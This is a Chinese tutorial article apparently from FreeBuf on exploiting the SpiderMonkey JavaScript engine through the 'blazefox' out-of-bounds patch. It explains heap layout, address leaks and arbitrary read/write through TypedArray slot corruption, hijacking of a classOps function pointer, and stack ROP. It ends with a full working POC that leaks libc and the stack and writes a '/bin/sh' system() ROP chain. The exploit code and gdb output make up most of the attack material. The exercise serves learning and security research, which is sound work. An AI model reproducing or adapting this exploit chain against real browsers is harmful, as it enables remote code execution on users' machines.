介绍
SpiderMonkey是目前Firefox浏览器中使用的JavaScript引擎,负责浏览器当中所有的JavaScript语句的解析执行,同时也是第一个JavaScript引擎。现在的SpiderMonkey,整个通过C/C++编写,分为TraceMonkey,JagerMonkey,IonMoneky,OdinMonkey四个部分。目前研究较多的部分是IonMonkey,它是目前Mozilla Firefox浏览器当中负责对JavaScript进行编译执行的代码,希望能够在编译阶段对整个浏览器代码进行优化以增加浏览速度,提升用户体验。在最近几年的pwn2own比赛中,安全研究人员挖掘引擎JIT代码优化阶段存在的漏洞,对其进行利用以做到任意代码执行。
关于SpiderMonkey
像上面介绍的一样,我们的最终目的是为了最终能够在远程机器上做到任意代码执行。作为一个初学者而言,可以暂时不用去考虑代码整个漏洞利用过程中的稳定性。只要能够做到任意代码执行即可。不管黑猫还是白猫,抓到老鼠就是好猫。
因为Firefox是一个开源的浏览器软件,所以你可以直接从网站上下载到它的源码并根据官方文档直接编译出一个命令行的JavaScript引擎解释器。
https://archive.mozilla.org/pub/firefox/releases/72.0/source/
https://developer.mozilla.org/en-US/docs/Mozilla/Projects/SpiderMonkey/Build_Documentation
我们通过一个简单的例子入手,首先可以看一下下面的这个patch文件:
diff -r ee6283795f41 js/src/builtin/Array.cpp
--- a/js/src/builtin/Array.cpp Sat Apr 07 00:55:15 2018 +0300
+++ b/js/src/builtin/Array.cpp Sun Apr 08 00:01:23 2018 +0000
@@ -192,6 +192,20 @@
return ToLength(cx, value, lengthp);
}
+static MOZ_ALWAYS_INLINE bool
+BlazeSetLengthProperty(JSContext* cx, HandleObject obj, uint64_t length)
+{
+ if (obj->is<ArrayObject>()) {
+ obj->as<ArrayObject>().setLengthInt32(length);
+ obj->as<ArrayObject>().setCapacityInt32(length);
+ obj->as<ArrayObject>().setInitializedLengthInt32(length);
+ return true;
+ }
+ return false;
+}
+
+
+
/*
* Determine if the id represents an array index.
*
@@ -1578,6 +1592,23 @@
return DenseElementResult::Success;
}
+bool js::array_blaze(JSContext* cx, unsigned argc, Value* vp)
+{
+ CallArgs args = CallArgsFromVp(argc, vp);
+ RootedObject obj(cx, ToObject(cx, args.thisv()));
+ if (!obj)
+ return false;
+
+ if (!BlazeSetLengthProperty(cx, obj, 420))
+ return false;
+
+ //uint64_t l = obj.as<ArrayObject>().setLength(cx, 420);
+
+ args.rval().setObject(*obj);
+ return true;
+}
+
+
// ES2017 draft rev 1b0184bc17fc09a8ddcf4aeec9b6d9fcac4eafce
// 22.1.3.21 Array.prototype.reverse ( )
bool
@@ -3511,6 +3542,8 @@
JS_FN("unshift", array_unshift, 1,0),
JS_FNINFO("splice", array_splice, &array_splice_info, 2,0),
+ JS_FN("blaze", array_blaze, 0,0),
+
/* Pythonic sequence methods. */
JS_SELF_HOSTED_FN("concat", "ArrayConcat", 1,0),
JS_INLINABLE_FN("slice", array_slice, 2,0, ArraySlice),
diff -r ee6283795f41 js/src/builtin/Array.h
--- a/js/src/builtin/Array.h Sat Apr 07 00:55:15 2018 +0300
+++ b/js/src/builtin/Array.h Sun Apr 08 00:01:23 2018 +0000
@@ -166,6 +166,9 @@
array_reverse(JSContext* cx, unsigned argc, js::Value* vp);
extern bool
+array_blaze(JSContext* cx, unsigned argc, js::Value* vp);
+
+extern bool
array_splice(JSContext* cx, unsigned argc, js::Value* vp);
extern const JSJitInfo array_splice_info;
diff -r ee6283795f41 js/src/vm/ArrayObject.h
--- a/js/src/vm/ArrayObject.h Sat Apr 07 00:55:15 2018 +0300
+++ b/js/src/vm/ArrayObject.h Sun Apr 08 00:01:23 2018 +0000
@@ -60,6 +60,14 @@
getElementsHeader()->length = length;
}
+ void setCapacityInt32(uint32_t length) {
+ getElementsHeader()->capacity = length;
+ }
+
+ void setInitializedLengthInt32(uint32_t length) {
+ getElementsHeader()->initializedLength = length;
+ }
+
// Make an array object with the specified initial state.
static inline ArrayObject*
createArray(JSContext* cx,
首先进入到firefox的源码文件夹下,通过git apply oob.patch应用这个patch文件。在这个patch文件中,关键的部分在于js::array_blaze函数。该函数调用了BlazeSetLengthProperty修改了数组的长度属性,把这个长度属性的值设置成了420。因此,在修改了这个属性之后我们获得了一个长度超出原本初始长度的数组,可以越界修改后面的内容。
当有了一个越界读写的权限之后,最简单的利用方法就是将两个相邻的array,利用第一个的越界去写第二个array。
但是在spidermonkey当中,array存储js::Value而不是直接输入的数值。如果你要在引擎中写0x1337这个数值的话,实际上在内存中要写的内容是0xfff8800000001337。前面的0xfff88表示这里存储的内容是一个int类型的数字,而不是指针或者double类型的数字。因此在这里只需要写最后的32bits就能够得到修改后的稳定数字了。
堆分配
新建一个Array类型的数组会在SpiderMonkey当中触发堆分配。
new Array(1, 2, 3, 4);
构建新的数组的话会通过Nursery heap或者DefaultHeap来分配。Nursery heap最大有16MB。这种分配方式没有在堆的分配上增加过多的随机。如果我们分配了两个array,他们在内存中的位置一般都是相邻的。除了普通的Array类型数组,TypedArrays也是在Nursery heap上被分配的。我们首先创建两个数组,这两个数组在内存中是相邻的。
const Smalls = new Array(1, 2, 3, 4);
const U8A = new Uint8Array(8);
这样申请的两个数组的地址以及各个属性的值以及表示形式如下:
object 142edbc00748
global 3cbb06b7c060 [global]
class 555557633a20 Array
group 3cbb06b79a00
flags:
proto <Array object at 3cbb06b9c040>
properties:
[Latin 1]"length" (shape 3cbb06b89bd8 permanent getterOp 5555558b3219 setterOp 5555558b3267)
elements:
0: 1
1: 2
2: 3
3: 4
object 142edbc007a8
global 3cbb06b7c060 [global]
class 55555764a370 Uint8Array
group 3cbb06b79b80
flags:
proto <Uint8ArrayPrototype object at 3cbb06b7f1a0>
private 142edbc007e8
reserved slots:
0 : null
1 : 8
2 : 0
properties:
可以看到,申请的Array数组和Uint8Array数组地址分别为0x142edbc00748和0x142edbc007a8。这两个数组是相邻的,并且Smalls数组的大小为0x60字节。因为我们想要修改掉后面的这个TypedArray,首先需要看一下他的layout是什么样子的。通常在JavaScript引擎的漏洞利用过程当中,都是通过这样的一个TypedArray去做任意地址读写。TypedArray的读写方式,不再是读写js::Value,而是直接写入想要的raw bytes。
通过阅读源码,我们可以发现,TypedArrays的实现实际上是在js::TypedArrayObject类当中,这个类也是js::ArrayBufferViewObject的一个子类。我们想要知道的是,在哪个属性当中存储了buffer的size和pointer。在源码中找到这部分实现的内容如下:
class ArrayBufferViewObject : public NativeObject
{
public:
// Underlying (Shared)ArrayBufferObject.
static constexpr size_t BUFFER_SLOT = 0;
// Slot containing length of the view in number of typed elements.
static constexpr size_t LENGTH_SLOT = 1;
// Offset of view within underlying (Shared)ArrayBufferObject.
static constexpr size_t BYTEOFFSET_SLOT = 2;
static constexpr size_t DATA_SLOT = 3;
// [...]
};
class TypedArrayObject : public ArrayBufferViewObject
同时在调试器当中,可以看到这部分内存的布局:
可以看到,从内存地址0x142edbc007a8开始是申请的TypedArray。
从0x142edbc007c0地址开始,指向的内容分别是emptyElementsHeader+0x10, BUFFER_SLOT, LENGTH_SLOT, BYTEOFFSET_SLOT, DATA_SLOT, Inline data(8字节)。长度属性是一个js::Value类型的变量。指向Inline buffer的指针是一个正常类型的指针。同样令人惊喜的是,TypedArray结构体的elements_属性,指向了js这个应用程序的.rdata段。因此,如果我们能够泄漏这个属性,就能够获得这个模块的基地址。
做到任意地址读写的接不能思路如下:
1.通过读取TypedArray的elements_属性,这个属性的位置在b数组中的索引为9,能够泄漏js程序的基地址。
2,修改DATA_SLOT之后,能够通过TypedArray做到任意地址读写。
在真正开始编写漏洞利用的代码之前,还需解决的一件事就是怎么将js::Value转换成对应的数字。因为通过Array类型的数组进行读写出来的数值都是double类型,double类型的数字可以通过saelo写的两个脚本将double类型的数据转换成内存中真正保存的值(raw bytes)。
https://github.com/0vercl0k/blazefox/blob/master/exploits/int64.js
https://github.com/0vercl0k/blazefox/blob/master/exploits/utils.js
load('utils.js')
load('int64.js')
Int64.fromDouble(6.951651517974e-310).toString(16)
除了在漏洞利用之前加载这两个脚本之外,也可以通过如下的简单代码来实现double类型和int32类型的转换:
var f64 = new Float64Array(1);
var u32 = new Uint32Array(f64.buffer);
function d2u(v) {
f64[0] = v;
return u32;
}
function u2d(lo, hi) {
u32[0] = lo;
u32[1] = hi;
return f64[0];
}
function log(lo, hi){
print('0x' + hi.toString(16) + lo.toString(16));
}
d2u(6.951651517974e-310);
接下来,为了获得读写的权限,像之前我们所提到的那样,我们可以修改掉TypedArray的DATA_SLOT属性。将这个位置修改成对应地址的double表示就能够对这个地址中的数据进行读写了。指针属性应该在索引为13的位置(9 + 4),length属性应该在索引为11的位置(9 + 2)。
console.log(b[11]);
b[11] = 1337;
console.log(c.length);
b[13] = u2d(0xdeadc0de, 0xdeadbeef);
console.log(c[0]);
在访问c数组的DATA_SLOT的时候出现了内存访问错误。rax寄存器的值为0xdeadc0dedeadbeef,正是我们之前设定的内容
接下来就可以进行漏洞利用的下一个步骤了,通过这个越界读写掌控程序的控制流
除此之外,还可以通过这两个array做到任意对象的地址泄漏。这里有两种方法可以泄漏对象的地址。
第一种方法是在TypedArray之后放下一个新的Array,里面存储了想要泄漏的对象内容。通过越界读写修改掉了TypedArray的length属性之后可以用TypedArray越界读取新的Array当中对象的地址。例如在下面的代码中,可以通过array c去读d当中存储的c的地址,当然这个地址是以js::Value格式存储的。
b = new Array(1,2,3,4,5,6);
c = new Uint8Array(8);
d = [c, c, c, c];
b.blaze() == undefined;
dumpObject(c);
0x15f0d7f00848: 0x0000114803e79d90 0x0000114803ea6718
0x15f0d7f00858: 0x0000000000000000 0x0000555556d691d0
0x15f0d7f00868: 0xfffa000000000000 0xfff8800000000008
0x15f0d7f00878: 0xfff8800000000000 0x000015f0d7f00888
0x15f0d7f00888: 0x0000000000000000 0xfffe2d2d2d2d2d2d
0x15f0d7f00898: 0xfffe2d2d2d2d2d2d 0xfffe2d2d2d2d2d2d
0x15f0d7f008a8: 0x0000114803e79dc0 0x0000114803e89bd8
0x15f0d7f008b8: 0x0000000000000000 0x000015f0d7f008d8
0x15f0d7f008c8: 0x0000000400000000 0x0000000400000006
0x15f0d7f008d8: 0xfffe15f0d7f00848 0xfffe15f0d7f00848
0x15f0d7f008e8: 0xfffe15f0d7f00848 0xfffe15f0d7f00848
0x15f0d7f008f8: 0xfffe2d2d2d2d2d2d 0xfffe2d2d2d2d2d2d
第二种方法不需要创建一个新的数组,而是用这个越界的数组改写掉数组c的backing buffer
接着, 只需要读取TypedArray的inline backing buffer即可。 inline backing buffer在array当中的offset为14。
function b2i(b) {
let ans = 0;
b[7] = 0;
b[6] = 0;
for(let i = 7; i >= 0; i--){
ans = ans * 0x100;
ans += b[i];
}
return ans;
}
b = new Array(1,2,3,4,5,6);
c = new Uint8Array(8);
d = new Array(1337, 1338, 1, 1);
b.blaze() == undefined;
b[14] = d;
// using shallow copy
bytes = c.slice(0, 8);
addr = b2i(bytes);
console.log(addr.toString(16));
在获得任意地址读写的能力之后,需要思考的问题是写什么地方。通常的思路有以下几种:
1.覆盖掉栈上的返回地址,这种方法经常在程序受到前沿CFI保护的时候使用
2.修改掉对象的vtable
3.修改掉程序当中JIT function的指针
4.修改掉其他类型的函数指针
我们可以尝试一下最后一种方法。
每一个JavaScript对象都定义了很多不同的函数方法, 这些方法都存储在对应的内存当中。对于js::NativeObject而言,其中有一个group_属性。一个js::ObjectGroup的文档记录了这一组对象的类型信息。clasp_属性表示了这个对象组的属性。
举个例子,上面代码中的c数组是一个Uint8Array类型的数组。如果我们找到了js::Class的c0ps属性,能够找到一堆在特殊时间被JavaScript引擎调用的函数指针,这些函数能够向对象增加属性或者删除属性等。
通常,这些指针都存储在一个只读区域当中,这意味着我们不能够直接对其进行改写。但是这没有关系,我们可以继续向下面找,直到找到一个能够写的指针。一旦我们能够人工的重新创建这个结构体并将这些指针写到c0ps这个属性当中去。
现在需要知道的就是,一旦我们能够控制c0ps属性当中的指针,就能够劫持程序的控制流了吗?
当然,对于下面的这个例子。
const Smalls = new Array(1, 2, 3, 4);
const U8A = new Uint8Array(8);
dumpObject(Smalls);
dumpObject(U8A);
console.log('123');
U8A.c = 123;
对`console.log`函数下一个断点,可以看到U8A这个数组的地址在`0x14127df007a8`位置。通过dumpObject还可以看到它的class类型是`Uint8Array`,位置在`0x55555764a370`。
object 14127df007a8
global 2da1c037c060 [global]
class 55555764a370 Uint8Array
group 2da1c0379b80
flags:
proto <Uint8ArrayPrototype object at 2da1c037f1a0>
private 14127df007e8
reserved slots:
0 : null
1 : 8
2 : 0
properties:
这个数组的class在内存中表现形式如下,这个class对应的内容是所有的TypedArray的指针结构体,对应的0x55555764a380位置存储的是Uint8Array类型的函数指针地址。查看一下0x555557649c00当中的内容。
函数指针addProperty为0,修改0x555557649c00当中存储的内容就是修改了函数指针addProperty。
(gdb) p TypedArrayClassOps
$2 = {addProperty = 0x0, delProperty = 0x0, enumerate = 0x0, newEnumerate = 0x0, resolve = 0x0, mayResolve = 0x0,
finalize = 0x555555d7e840 <js::TypedArrayObject::finalize(JSFreeOp*, JSObject*)>, call = 0x0, hasInstance = 0x0, construct = 0x0,
trace = 0x555555a0ebc8 <js::ArrayBufferViewObject::trace(JSTracer*, JSObject*)>}
继续执行产生崩溃,崩溃的地址为修改的值。这证明在我们修改了这个指针值之后。U8A.c=123语句会直接调用这个函数指针并执行
Thread 1 "js" received signal SIGSEGV, Segmentation fault.
0x000000000badc0de in ?? ()
(gdb)
接下来要做的就是结合上面提到的任意地址读写获得一个shell。
栈迁移
劫持程序控制流仅仅是现有攻击的第一步。想要获得任意代码执行的能力,还需要知道对应内存中存储的内容是什么,并获得想要调用的函数地址在什么位置。同时还需要构造ROP实现你想要的功能。
如果你是一个有经验的CTFer的话,脑海中很快就能规划出一整套的攻击流程。当我们有了任意地址读写的能力了之后,后面的步骤如下:
1.泄漏程序的地址
2.通过程序中GOT段存储的内容,读取libc的地址。计算ROP过程中需要使用的函数地址
3.读取stack的地址
4.在对应的内存中写入需要的字符串('/bin/sh' or '/bin/kcalc')
5.修改返回地址及其下面的内存为ROP
最后达到的效果如下图所示:
为什么不用wasm对象
通常在对chrome浏览器的v8引擎进行漏洞利用的时候,我们会使用wasm对象作为最终的目标。修改创建好的wasm对象的可读可写可执行页为shellcode。最后调用这个函数对象时,执行shellcode。
但是在SpiderMonkey这个引擎中,wasmcode不是直接编译成shellcode并存储在可写可执行页上。而是编译成了对应的伪代码由js引擎解释执行,所以相对而言,其wasm的处理速度和效率会远远低于chrome的v8引擎。同时,这意味着我们无法用下面的代码在spidermonkey中创建一个可读可写可执行页。
let wasm_code = new Uint8Array([0, 97, 115, 109, 1, 0, 0, 0, 1, 7, 1, 96, 2, 127, 127, 1, 127, 3, 2, 1, 0, 4, 4, 1, 112, 0, 0, 5, 3, 1, 0, 1, 7, 21, 2, 6, 109, 101, 109, 111, 114, 121, 2, 0, 8, 95, 90, 51, 97, 100, 100, 105, 105, 0, 0, 10, 9, 1, 7, 0, 32, 1, 32, 0, 106, 11]);
let wasm_mod = new WebAssembly.Instance(new WebAssembly.Module(wasm_code), {});
let f = wasm_mod.exports._Z3addii;
f();
漏洞利用
如有需要,可以在这里下载到我编译好的版本
链接: https://pan.baidu.com/s/18yfG3tEt1UuBYs5y6vpAGQ 提取码: qdnt 复制这段内容后打开百度网盘手机App,操作更方便哦
POC
var f64 = new Float64Array(1);
var u32 = new Uint32Array(f64.buffer);
function d2u(v) {
f64[0] = v;
return u32;
}
function u2d(lo, hi) {
u32[0] = lo;
u32[1] = hi;
return f64[0];
}
function log(lo, hi){
print('0x' + hi.toString(16) + lo.toString(16));
}
function b2i(bytes) {
let ans = 0;
bytes[7] = 0;
bytes[6] = 0;
for(let i = 7; i >= 0; i--){
ans = ans * 0x100;
ans += bytes[i];
}
return ans;
}
function read(lo, hi){
let tmp = 0;
b[13] = u2d(lo, hi);
tmp = b2i(c.slice(0, 8));
return tmp;
}
function long_read(a){
let lo = a % 0x100000000;
let hi = a / 0x100000000;
return read(lo, hi);
}
function write32(lo, hi, v){
let tmp = [];
b[13] = u2d(lo, hi);
for(let i = 0; i < 7; ++i){
tmp[i] = (v % 0x100) & 0xff;
v = parseInt(v / 0x100);
}
c.set(tmp);
}
function int_write(a, v){
let lo = a % 0x100000000;
let hi = a / 0x100000000;
return write32(lo, hi, v);
}
b = new Array(1,2,3,4,5,6);
c = new Uint8Array(8);
b.blaze() == undefined;
d2u(b[9]);
js_addr_lo = u32[0] - 0x18151d0;
js_addr_hi = u32[1];
//leak libc address
memset_got_lo = js_addr_lo + 0x0000021601e8;
memset_got_hi = js_addr_hi;
memset_libc = read(memset_got_lo, memset_got_hi);
libc_base = memset_libc - 0x164b70;
//calculate some important address
environ_addr = libc_base + 0x1c4120;
pop_rdi_addr = libc_base + 0x000000000026b12;
system_addr = libc_base + 0x491c0;
//leak stack address
stack_addr = long_read(environ_addr);
//calculate the rsp
rsp_value = stack_addr - 0x12d8;
print(rsp_value.toString(16) + ',' + pop_rdi_addr.toString(16) + ',' + libc_base.toString(16));
//trigger the exploit like the chakracore one
String.prototype.slice.call('', { valueOf : () => {
int_write(environ_addr + 0x100, 0x6e69622f);
int_write(environ_addr + 0x104, 0x0068732f);
int_write(rsp_value, pop_rdi_addr % 0x100000000);
int_write(rsp_value + 4, parseInt(pop_rdi_addr / 0x100000000));
int_write(rsp_value + 8, (environ_addr + 0x100) % 0x100000000);
int_write(rsp_value + 12, parseInt((environ_addr + 0x100) / 0x100000000));
int_write(rsp_value + 16, system_addr % 0x100000000);
int_write(rsp_value + 20, parseInt(system_addr / 0x100000000));
}});
*本文原创作者:Kriston,本文属于FreeBuf原创奖励计划,未经许可禁止转载